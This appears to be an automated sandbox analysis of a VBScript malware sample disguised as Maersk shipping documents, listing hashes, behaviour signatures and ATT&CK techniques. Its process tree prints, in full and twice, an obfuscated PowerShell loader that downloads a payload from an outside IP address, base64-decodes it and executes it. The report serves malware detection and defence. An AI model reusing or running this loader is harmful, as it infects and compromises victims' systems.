75d85dcb3600c097923b6a09fa7fe8ada9bed04b6185dcdcb69edbb3e6b66f2f

General

Target

Maersk_Shipping_Documents_pdf.vbs
Size

187KB
MD5

30df38b128734333083f7ca438c9c6ee
SHA1

cddda08ce291f6adf67f1bb1a7647ebc5b087296
SHA256

75d85dcb3600c097923b6a09fa7fe8ada9bed04b6185dcdcb69edbb3e6b66f2f
SHA512

639c55bf19eab352fed3ea425e1f3dc6317a50c1c72bf9f995514892863420894911a6e01d1170d94000dfb87f14a59378db92d37c5c915b19844652c6b88d6a
SSDEEP

3072:rmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZO:r08GxbKja3+DCbKCvBB/WnHXC/sLJFJl

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3000	WScript.exe
6	2824	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2824	powershell.exe
884	powershell.exe
884	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	884	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 2824	3000	WScript.exe	29
PID 3000 wrote to memory of 2824	3000	WScript.exe	29
PID 3000 wrote to memory of 2824	3000	WScript.exe	29
PID 2824 wrote to memory of 2464	2824	powershell.exe	31
PID 2824 wrote to memory of 2464	2824	powershell.exe	31
PID 2824 wrote to memory of 2464	2824	powershell.exe	31
PID 2824 wrote to memory of 884	2824	powershell.exe	32
PID 2824 wrote to memory of 884	2824	powershell.exe	32
PID 2824 wrote to memory of 884	2824	powershell.exe	32
PID 2824 wrote to memory of 884	2824	powershell.exe	32
PID 884 wrote to memory of 2112	884	powershell.exe	33
PID 884 wrote to memory of 2112	884	powershell.exe	33
PID 884 wrote to memory of 2112	884	powershell.exe	33
PID 884 wrote to memory of 2112	884	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_Shipping_Documents_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan';$Flsket178 = 1;Function Selvskyldnerkautioners($Leucetta){$Lbningens=$Leucetta.Length-$Flsket178;$Befolkningstallenes='SUBSTRIN';$Befolkningstallenes+='G';For( $Acidulousness=1;$Acidulousness -lt $Lbningens;$Acidulousness+=2){$Fagt+=$Leucetta.$Befolkningstallenes.Invoke( $Acidulousness, $Flsket178);}$Fagt;}function Udkigget($reactivation){ & ($Uncaging) ($reactivation);}$Vejrer=Selvskyldnerkautioners ' M.o zEiTlJl.aR/ 5..K0 (ZW,iPn d o w.s N,T. .1 0,.k0R;D ,W.iFn 6 4f; xB6K4B; Pr v : 1 2 1 ..0,) NG eAc k oD/O2 0G1 0 0,1K0P1 IF,iCrCeRfKoDx./ 1S2T1B. 0A ';$Antimilitarist=Selvskyldnerkautioners ' U,sSe r -,ASgUeCn.tI ';$Poesiforladtes=Selvskyldnerkautioners 'GhPtktFpM: /D/ 1 0 3S. 1 9C5 . 2K3m7 .m4F3T/ GFeRb.i sSsTearFsK8N7 ..mFiRxU ';$Svrters68=Selvskyldnerkautioners 'A>. ';$Uncaging=Selvskyldnerkautioners '.iUeCxU ';$Kanjas='Usbekistan';$Overhrer = Selvskyldnerkautioners ' eOc h oS O%FaRp,pAdSaDt a %u\PM yOr,iIo,p hOy lUlNo.uPs,.rC h eT ,&S& Se cRhUo t ';Udkigget (Selvskyldnerkautioners '.$ g l,oSbHa lA:RcNy.t,o p.hNyRs iPoMl oBg y =,(Fc mAd, /.cA K$AOUv e rFh.rAe.r,) ');Udkigget (Selvskyldnerkautioners 'B$mgFl,o bpaFl :TUMnasJpPi r a lU=O$,P ose sai.fPo,rAlEa.d,t e,s,. sLprlAi.tP( $BSRvMr,tCe r.s 6A8 ) ');Udkigget (Selvskyldnerkautioners 'V[RN,e.t .ASUeArAvEiPc eoP oUiTnFtDMSaNnSa,g e,r.] : :.S,e cTu rvi.tUyOP rAo tBoUcPo l, =H .[ N.eCtP.ESSe ckuSrLi tKy,P rUoPtKo csoVl T,yVp eM].:.:KT.lSs,1 2T ');$Poesiforladtes=$Unspiral[0];$Lamprey= (Selvskyldnerkautioners 'R$,gOlFo bUa lS:SD r o nGi sShMn e s sA=BN.e.w -IOVbTj.eIcTt. CSOy,s t eCmb. NMeWt .PWAe,b.C l iPeDn t');$Lamprey+=$cytophysiology[1];Udkigget ($Lamprey);Udkigget (Selvskyldnerkautioners ' $ DUr.o nPiPs hUn eUs s .DHAeOa,d,eTr sD[ $VAPnTt i mBiUlKiWtMaSr i.s tS]S=p$ V eSj rBe rG ');$Debatterende=Selvskyldnerkautioners ' $ADhr oEnNiGsOhBnOeCs,sR. DKo,wtnBlUo aTdAF iBlBeT(C$aP oFe sSi,ftoHr lUa.d,tSeSs.,,$FF aSrNvhe.pDr a.g,t,se), ';$Farvepragts=$cytophysiology[0];Udkigget (Selvskyldnerkautioners '.$Cg.lKo bSaVl.:,Lye vae b r d e t,= (JT eGs tZ-NPKa.t,hD E$PFSa.rRvRe p.r a g tBsC)D ');while (!$Levebrdet) {Udkigget (Selvskyldnerkautioners '.$,gUl,oPb,aRls:,A n,nPl i,l.=.$ tPr.u.eS ') ;Udkigget $Debatterende;Udkigget (Selvskyldnerkautioners 'DS tHa,r,t,- S l e e pK I4 ');Udkigget (Selvskyldnerkautioners ',$ g,l.oeb.aFl,:KL eavSeFbfr d e tH= ( TMeAsDtD-CP aUt h, ,$.FTa rMv.e.pUr aTg tNsB)L ') ;Udkigget (Selvskyldnerkautioners ' $PgMlUoGbUa,lC: LSe h.n aSsF=K$ogKl.oQbBa lP:,P i.l.kIeN+U+n% $ UsnOsbp idrVaTlF.,cSoSuIn t ') ;$Poesiforladtes=$Unspiral[$Lehnas];}$Stepdansernes=375979;$Seraya=25461;Udkigget (Selvskyldnerkautioners 'B$Vg lCoPb.a,lT:CWBoEc,h,eTi.n.i t.eP1 2C3O =C wG.e,tB-CC o,n tSefn tT F$PF a r vPeFpFrNa g tfsB ');Udkigget (Selvskyldnerkautioners ',$ g l,o bRaNl :NROe t i s t.e nke F=H .[,SfyUs tde.m . C oBn vSeSr tO] :a:CF r oAmLBRaPs eC6P4 Sit rBiTn.gP(E$AWpoFcAh,e i n i tOe 1.2 3 ), ');Udkigget (Selvskyldnerkautioners '.$ gKl oSb a.lU:SB.rSeKmPsFnHi nBg e.nUs =S .[.S.y s tTe.m..HTGeKxStA. E nScAoVd i.n g ],:C:DAFS,CDICIN..G,e t,S tUrUiUn,gS(.$RRBeFtSiFsFt e.nTeG)d ');Udkigget (Selvskyldnerkautioners 'D$.g lCo,bRaUlL:sp.rBe.j,uKdCgPm eTnMtDs.=.$ B,rKe m s n,iBnHgNePn,s .,sGu b sStWrOiSnSg (D$.S.t eIp,d aSnUs e rUnHeUsL,.$ S.eDrUaTy.a,)B ');Udkigget $prejudgments;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Myriophyllous.Che && echo t"
    3⤵
    PID:2464
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan';$Flsket178 = 1;Function Selvskyldnerkautioners($Leucetta){$Lbningens=$Leucetta.Length-$Flsket178;$Befolkningstallenes='SUBSTRIN';$Befolkningstallenes+='G';For( $Acidulousness=1;$Acidulousness -lt $Lbningens;$Acidulousness+=2){$Fagt+=$Leucetta.$Befolkningstallenes.Invoke( $Acidulousness, $Flsket178);}$Fagt;}function Udkigget($reactivation){ & ($Uncaging) ($reactivation);}$Vejrer=Selvskyldnerkautioners ' M.o zEiTlJl.aR/ 5..K0 (ZW,iPn d o w.s N,T. .1 0,.k0R;D ,W.iFn 6 4f; xB6K4B; Pr v : 1 2 1 ..0,) NG eAc k oD/O2 0G1 0 0,1K0P1 IF,iCrCeRfKoDx./ 1S2T1B. 0A ';$Antimilitarist=Selvskyldnerkautioners ' U,sSe r -,ASgUeCn.tI ';$Poesiforladtes=Selvskyldnerkautioners 'GhPtktFpM: /D/ 1 0 3S. 1 9C5 . 2K3m7 .m4F3T/ GFeRb.i sSsTearFsK8N7 ..mFiRxU ';$Svrters68=Selvskyldnerkautioners 'A>. ';$Uncaging=Selvskyldnerkautioners '.iUeCxU ';$Kanjas='Usbekistan';$Overhrer = Selvskyldnerkautioners ' eOc h oS O%FaRp,pAdSaDt a %u\PM yOr,iIo,p hOy lUlNo.uPs,.rC h eT ,&S& Se cRhUo t ';Udkigget (Selvskyldnerkautioners '.$ g l,oSbHa lA:RcNy.t,o p.hNyRs iPoMl oBg y =,(Fc mAd, /.cA K$AOUv e rFh.rAe.r,) ');Udkigget (Selvskyldnerkautioners 'B$mgFl,o bpaFl :TUMnasJpPi r a lU=O$,P ose sai.fPo,rAlEa.d,t e,s,. sLprlAi.tP( $BSRvMr,tCe r.s 6A8 ) ');Udkigget (Selvskyldnerkautioners 'V[RN,e.t .ASUeArAvEiPc eoP oUiTnFtDMSaNnSa,g e,r.] : :.S,e cTu rvi.tUyOP rAo tBoUcPo l, =H .[ N.eCtP.ESSe ckuSrLi tKy,P rUoPtKo csoVl T,yVp eM].:.:KT.lSs,1 2T ');$Poesiforladtes=$Unspiral[0];$Lamprey= (Selvskyldnerkautioners 'R$,gOlFo bUa lS:SD r o nGi sShMn e s sA=BN.e.w -IOVbTj.eIcTt. CSOy,s t eCmb. NMeWt .PWAe,b.C l iPeDn t');$Lamprey+=$cytophysiology[1];Udkigget ($Lamprey);Udkigget (Selvskyldnerkautioners ' $ DUr.o nPiPs hUn eUs s .DHAeOa,d,eTr sD[ $VAPnTt i mBiUlKiWtMaSr i.s tS]S=p$ V eSj rBe rG ');$Debatterende=Selvskyldnerkautioners ' $ADhr oEnNiGsOhBnOeCs,sR. DKo,wtnBlUo aTdAF iBlBeT(C$aP oFe sSi,ftoHr lUa.d,tSeSs.,,$FF aSrNvhe.pDr a.g,t,se), ';$Farvepragts=$cytophysiology[0];Udkigget (Selvskyldnerkautioners '.$Cg.lKo bSaVl.:,Lye vae b r d e t,= (JT eGs tZ-NPKa.t,hD E$PFSa.rRvRe p.r a g tBsC)D ');while (!$Levebrdet) {Udkigget (Selvskyldnerkautioners '.$,gUl,oPb,aRls:,A n,nPl i,l.=.$ tPr.u.eS ') ;Udkigget $Debatterende;Udkigget (Selvskyldnerkautioners 'DS tHa,r,t,- S l e e pK I4 ');Udkigget (Selvskyldnerkautioners ',$ g,l.oeb.aFl,:KL eavSeFbfr d e tH= ( TMeAsDtD-CP aUt h, ,$.FTa rMv.e.pUr aTg tNsB)L ') ;Udkigget (Selvskyldnerkautioners ' $PgMlUoGbUa,lC: LSe h.n aSsF=K$ogKl.oQbBa lP:,P i.l.kIeN+U+n% $ UsnOsbp idrVaTlF.,cSoSuIn t ') ;$Poesiforladtes=$Unspiral[$Lehnas];}$Stepdansernes=375979;$Seraya=25461;Udkigget (Selvskyldnerkautioners 'B$Vg lCoPb.a,lT:CWBoEc,h,eTi.n.i t.eP1 2C3O =C wG.e,tB-CC o,n tSefn tT F$PF a r vPeFpFrNa g tfsB ');Udkigget (Selvskyldnerkautioners ',$ g l,o bRaNl :NROe t i s t.e nke F=H .[,SfyUs tde.m . C oBn vSeSr tO] :a:CF r oAmLBRaPs eC6P4 Sit rBiTn.gP(E$AWpoFcAh,e i n i tOe 1.2 3 ), ');Udkigget (Selvskyldnerkautioners '.$ gKl oSb a.lU:SB.rSeKmPsFnHi nBg e.nUs =S .[.S.y s tTe.m..HTGeKxStA. E nScAoVd i.n g ],:C:DAFS,CDICIN..G,e t,S tUrUiUn,gS(.$RRBeFtSiFsFt e.nTeG)d ');Udkigget (Selvskyldnerkautioners 'D$.g lCo,bRaUlL:sp.rBe.j,uKdCgPm eTnMtDs.=.$ B,rKe m s n,iBnHgNePn,s .,sGu b sStWrOiSnSg (D$.S.t eIp,d aSnUs e rUnHeUsL,.$ S.eDrUaTy.a,)B ');Udkigget $prejudgments;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Myriophyllous.Che && echo t"
      4⤵
      PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R3G7H2QUZDC0SDRYPE8L.temp

Filesize
7KB

MD5
89f0b80342448524cbc3dcde03014e71

SHA1
d5a75c403b107da7281209c424c2fe68a22833b2

SHA256
f1b9743e423016754a07c405e4f6fea11464dd7bc280aabb2e488534887d4896

SHA512
9998c4158054b0ad953386a062e2602268f1116809472eeff07afb726a0dfecc494d85a1bf8b50c33f758444a0e4e7aa9088f0bac0fe981b12e7911d1f05cd1d

Download Submit
C:\Users\Admin\AppData\Roaming\Myriophyllous.Che

Filesize
522KB

MD5
01564340754729c2c08af21c85a54932

SHA1
5e450a473ae8f14be2058cc920e88a0c1e733628

SHA256
f95accb2b9048ec85d7ddb254c56e2b79c318394d64bd370128747c8e9c2f654

SHA512
35b03c864035b597167bf063f6f693f7e75fafa79210ef0f85df98b11dd945aab7aab9f8bbeb3a5e5c1447ded509d4c9ca6cab765a6032699ee3ed43c8c9fb7b

Download Submit
memory/884-36-0x00000000066B0000-0x000000000C0BC000-memory.dmp

Filesize
90.0MB

Download
memory/2824-24-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-25-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-26-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-27-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-28-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-21-0x000007FEF539E000-0x000007FEF539F000-memory.dmp

Filesize
4KB

Download
memory/2824-23-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2824-34-0x000007FEF50E0000-0x000007FEF5A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-35-0x000007FEF539E000-0x000007FEF539F000-memory.dmp

Filesize
4KB

Download
memory/2824-22-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing